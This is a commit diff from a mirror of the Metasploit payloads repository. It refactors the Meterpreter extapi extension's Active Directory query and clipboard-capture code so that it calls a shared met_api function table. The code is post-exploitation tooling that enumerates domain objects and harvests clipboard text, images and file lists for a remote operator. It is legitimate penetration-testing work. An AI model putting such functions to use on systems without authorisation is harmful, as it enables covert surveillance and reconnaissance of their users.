mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Finally removed delay loading from the last extension: extapi
This commit is contained in:
parent
4cd3a29319
commit
c8aa435b3c
@ -6,6 +6,7 @@
|
||||
#include "wshelpers.h"
|
||||
#include "adsi.h"
|
||||
#include "adsi_interface.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
/*! @brief The default page size to use when no page size is specified */
|
||||
#define DEFAULT_PAGE_SIZE 1000
|
||||
@ -26,7 +27,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
LPWSTR* lpwFields = NULL;
|
||||
DWORD fieldCount = 0;
|
||||
DWORD fieldIndex = 0;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
Tlv fieldTlv;
|
||||
DWORD maxResults;
|
||||
DWORD pageSize;
|
||||
@ -38,7 +39,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY);
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
|
||||
dprintf("[EXTAPI ADSI] Domain: %s", lpValue);
|
||||
dwResult = to_wide_string(lpValue, &lpwDomain);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -47,7 +48,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
|
||||
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
|
||||
dprintf("[EXTAPI ADSI] Filter: %s", lpValue);
|
||||
dwResult = to_wide_string(lpValue, &lpwFilter);
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -56,10 +57,10 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS);
|
||||
maxResults = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS);
|
||||
dprintf("[EXTAPI ADSI] Max results will be %u", maxResults);
|
||||
|
||||
pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE);
|
||||
pageSize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE);
|
||||
dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize);
|
||||
|
||||
// Set the page size to something sensible if not given.
|
||||
@ -76,7 +77,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
}
|
||||
dprintf("[EXTAPI ADSI] Page size will be %u", pageSize);
|
||||
|
||||
while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
|
||||
while (met_api->packet.enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
|
||||
{
|
||||
lpValue = (char*)fieldTlv.buffer;
|
||||
dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue);
|
||||
@ -131,7 +132,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI ADSI] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
|
@ -5,6 +5,7 @@
|
||||
*/
|
||||
extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include <Iads.h>
|
||||
#include <Adshlp.h>
|
||||
#include <AdsErr.h>
|
||||
@ -186,7 +187,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
DWORD dwIndex = 0;
|
||||
ADS_SEARCH_COLUMN col;
|
||||
|
||||
Packet* pGroup = packet_create_group();
|
||||
Packet* pGroup = met_api->packet.create_group();
|
||||
|
||||
// iterate through the columns, adding Tlv entries as we go, but only
|
||||
// if we can get the values out.
|
||||
@ -201,56 +202,56 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
{
|
||||
case ADSTYPE_LARGE_INTEGER:
|
||||
{
|
||||
packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart);
|
||||
met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart);
|
||||
dprintf("[ADSI] Adding large int value %lld", (UINT)col.pADsValues->LargeInteger.QuadPart);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_INTEGER:
|
||||
{
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer);
|
||||
dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_DN_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] DN String: %S", col.pADsValues->DNString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_PRINTABLE_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Printable String: %S", col.pADsValues->PrintableString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_NUMERIC_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Numeric String: %S", col.pADsValues->NumericString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_CASE_EXACT_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Case Extact String: %S", col.pADsValues->CaseExactString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_CASE_IGNORE_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Case Ignore String: %S", col.pADsValues->CaseIgnoreString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_BOOLEAN:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Boolean");
|
||||
packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE);
|
||||
met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_OCTET_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Octet string");
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_UTC_TIME:
|
||||
@ -259,54 +260,54 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
SYSTEMTIME* pt = &col.pADsValues->UTCTime;
|
||||
sprintf_s(value, VALUE_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
|
||||
pt->wYear, pt->wMonth, pt->wDay, pt->wHour, pt->wMinute, pt->wSecond, pt->wMilliseconds);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_PROV_SPECIFIC:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Provider specific");
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_OBJECT_CLASS:
|
||||
{
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_CASEIGNORE_LIST:
|
||||
{
|
||||
// list of strings, yay!
|
||||
Packet* pStrings = packet_create_group();
|
||||
Packet* pStrings = met_api->packet.create_group();
|
||||
PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList;
|
||||
|
||||
dprintf("[EXTAPI ADSI] Case Ignore List");
|
||||
|
||||
while (list != NULL)
|
||||
{
|
||||
packet_add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String);
|
||||
met_api->packet.add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String);
|
||||
list = list->Next;
|
||||
}
|
||||
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_PATH:
|
||||
{
|
||||
PADS_PATH path = col.pADsValues->pPath;
|
||||
Packet* pPathGroup = packet_create_group();
|
||||
Packet* pPathGroup = met_api->packet.create_group();
|
||||
|
||||
dprintf("[EXTAPI ADSI] PATH");
|
||||
|
||||
packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName);
|
||||
packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path);
|
||||
packet_add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type);
|
||||
met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName);
|
||||
met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path);
|
||||
met_api->packet.add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type);
|
||||
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_POSTALADDRESS:
|
||||
{
|
||||
Packet* pAddressGroup = packet_create_group();
|
||||
Packet* pAddressGroup = met_api->packet.create_group();
|
||||
PADS_POSTALADDRESS addr = col.pADsValues->pPostalAddress;
|
||||
|
||||
for (DWORD i = 0; i < sizeof(addr->PostalAddress) / sizeof(addr->PostalAddress[0]); ++i)
|
||||
@ -316,33 +317,33 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
continue;
|
||||
}
|
||||
|
||||
packet_add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]);
|
||||
met_api->packet.add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI ADSI] postal address list");
|
||||
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_TIMESTAMP:
|
||||
{
|
||||
ADS_TIMESTAMP* pts = &col.pADsValues->Timestamp;
|
||||
dprintf("[EXTAPI ADSI] timestamp");
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_BACKLINK:
|
||||
{
|
||||
ADS_BACKLINK* pbl = &col.pADsValues->BackLink;
|
||||
dprintf("[EXTAPI ADSI] backlink");
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_TYPEDNAME:
|
||||
{
|
||||
PADS_TYPEDNAME ptn = col.pADsValues->pTypedName;
|
||||
dprintf("[EXTAPI ADSI] typed name");
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_NETADDRESS:
|
||||
@ -353,12 +354,12 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
char* s = bytes_to_string(pna->Address, pna->AddressLength, "%u", 3, ".");
|
||||
if (s)
|
||||
{
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
free(s);
|
||||
}
|
||||
else
|
||||
{
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength);
|
||||
}
|
||||
dprintf("[ADSI] %u network address of %u bytes added", pna->AddressType, pna->AddressLength);
|
||||
break;
|
||||
@ -366,7 +367,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
case ADSTYPE_EMAIL:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] email");
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_NT_SECURITY_DESCRIPTOR:
|
||||
@ -376,39 +377,39 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
if(ConvertSidToStringSid((PSID)psd->lpValue, &s))
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] converted SID: %s", s);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
LocalFree(s);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] byte SID");
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_DN_WITH_BINARY:
|
||||
{
|
||||
Packet* pDnGroup = packet_create_group();
|
||||
Packet* pDnGroup = met_api->packet.create_group();
|
||||
PADS_DN_WITH_BINARY pdb = col.pADsValues->pDNWithBinary;
|
||||
|
||||
dprintf("[ADSI] DN with string");
|
||||
|
||||
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString);
|
||||
packet_add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength);
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString);
|
||||
met_api->packet.add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_DN_WITH_STRING:
|
||||
{
|
||||
Packet* pDnGroup = packet_create_group();
|
||||
Packet* pDnGroup = met_api->packet.create_group();
|
||||
PADS_DN_WITH_STRING pds = col.pADsValues->pDNWithString;
|
||||
|
||||
dprintf("[ADSI] DN with string");
|
||||
|
||||
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString);
|
||||
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue);
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString);
|
||||
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
|
||||
break;
|
||||
}
|
||||
@ -419,7 +420,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
// this is a string of some kind
|
||||
dprintf("[ADSI] Unhandled ADSI type %u (%x), adding unknown", col.dwADsType, col.dwADsType);
|
||||
sprintf_s(value, VALUE_SIZE, "(unhandled ADSI type %u)", col.dwADsType);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -429,7 +430,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
else
|
||||
{
|
||||
dprintf("[ADSI] Col read failed: %x", hr);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, "");
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, "");
|
||||
}
|
||||
|
||||
dwIndex++;
|
||||
@ -439,7 +440,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
{
|
||||
dprintf("[ADSI] Adding group packet of %u values", dwIndex);
|
||||
// Throw the user details together in a group, ready to return.
|
||||
packet_add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup);
|
||||
met_api->packet.add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup);
|
||||
dprintf("[ADSI] Added group packet of %u values", dwIndex);
|
||||
}
|
||||
else
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Definitions for clipboard interaction functionality.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "../../common/thread.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "clipboard.h"
|
||||
#include "clipboard_image.h"
|
||||
|
||||
@ -300,7 +301,7 @@ VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL
|
||||
|
||||
if (bRemoveLock && pCaptureList->pClipboardCaptureLock)
|
||||
{
|
||||
lock_destroy(pCaptureList->pClipboardCaptureLock);
|
||||
met_api->lock.destroy(pCaptureList->pClipboardCaptureLock);
|
||||
pCaptureList->pClipboardCaptureLock = NULL;
|
||||
}
|
||||
|
||||
@ -331,7 +332,7 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
|
||||
VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
|
||||
{
|
||||
ClipboardFile* pFile;
|
||||
Packet* group = packet_create_group();
|
||||
Packet* group = met_api->packet.create_group();
|
||||
TlvType groupType;
|
||||
Packet* file = NULL;
|
||||
char timestamp[40];
|
||||
@ -341,21 +342,21 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
|
||||
memset(timestamp, 0, sizeof(timestamp));
|
||||
|
||||
timestamp_to_string(&pCapture->stCaptureTime, timestamp);
|
||||
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
|
||||
dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp);
|
||||
|
||||
switch (pCapture->captureType)
|
||||
{
|
||||
case CapText:
|
||||
dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
|
||||
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
|
||||
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT;
|
||||
break;
|
||||
case CapImage:
|
||||
dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
|
||||
packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
|
||||
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG;
|
||||
break;
|
||||
case CapFiles:
|
||||
@ -364,16 +365,16 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
|
||||
while (pFile)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
|
||||
file = packet_create_group();
|
||||
file = met_api->packet.create_group();
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
|
||||
packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
|
||||
met_api->packet.add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize);
|
||||
packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
|
||||
met_api->packet.add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Adding group");
|
||||
packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
|
||||
met_api->packet.add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
|
||||
|
||||
pFile = pFile->pNext;
|
||||
dprintf("[EXTAPI CLIPBOARD] Moving to next");
|
||||
@ -382,7 +383,7 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_group(pResponse, groupType, group);
|
||||
met_api->packet.add_group(pResponse, groupType, group);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -397,7 +398,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
|
||||
{
|
||||
ClipboardCapture* pCapture = NULL;
|
||||
|
||||
lock_acquire(pCaptureList->pClipboardCaptureLock);
|
||||
met_api->lock.acquire(pCaptureList->pClipboardCaptureLock);
|
||||
pCapture = pCaptureList->pHead;
|
||||
while (pCapture)
|
||||
{
|
||||
@ -409,7 +410,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
|
||||
{
|
||||
destroy_clipboard_monitor_capture(pCaptureList, FALSE);
|
||||
}
|
||||
lock_release(pCaptureList->pClipboardCaptureLock);
|
||||
met_api->lock.release(pCaptureList->pClipboardCaptureLock);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -429,7 +430,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
|
||||
ClipboardFile* pNewFiles = NULL;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
lock_acquire(pList->pClipboardCaptureLock);
|
||||
met_api->lock.acquire(pList->pClipboardCaptureLock);
|
||||
|
||||
do
|
||||
{
|
||||
@ -501,7 +502,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
|
||||
}
|
||||
} while (0);
|
||||
|
||||
lock_release(pList->pClipboardCaptureLock);
|
||||
met_api->lock.release(pList->pClipboardCaptureLock);
|
||||
|
||||
return bResult;
|
||||
}
|
||||
@ -520,7 +521,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire(pList->pClipboardCaptureLock);
|
||||
met_api->lock.acquire(pList->pClipboardCaptureLock);
|
||||
|
||||
pNewCapture->pNext = NULL;
|
||||
if (pList->pTail == NULL)
|
||||
@ -533,7 +534,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
|
||||
pList->pTail = pList->pTail->pNext = pNewCapture;
|
||||
}
|
||||
pList->dwClipboardDataSize += pNewCapture->dwSize;
|
||||
lock_release(pList->pClipboardCaptureLock);
|
||||
met_api->lock.release(pList->pClipboardCaptureLock);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@ -931,7 +932,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
DWORD dwResult;
|
||||
ClipboardCapture* pCapture = NULL;
|
||||
BOOL bDownload = FALSE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -941,7 +942,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
|
||||
}
|
||||
|
||||
bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
|
||||
bDownload = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
|
||||
|
||||
if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS)
|
||||
{
|
||||
@ -960,7 +961,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
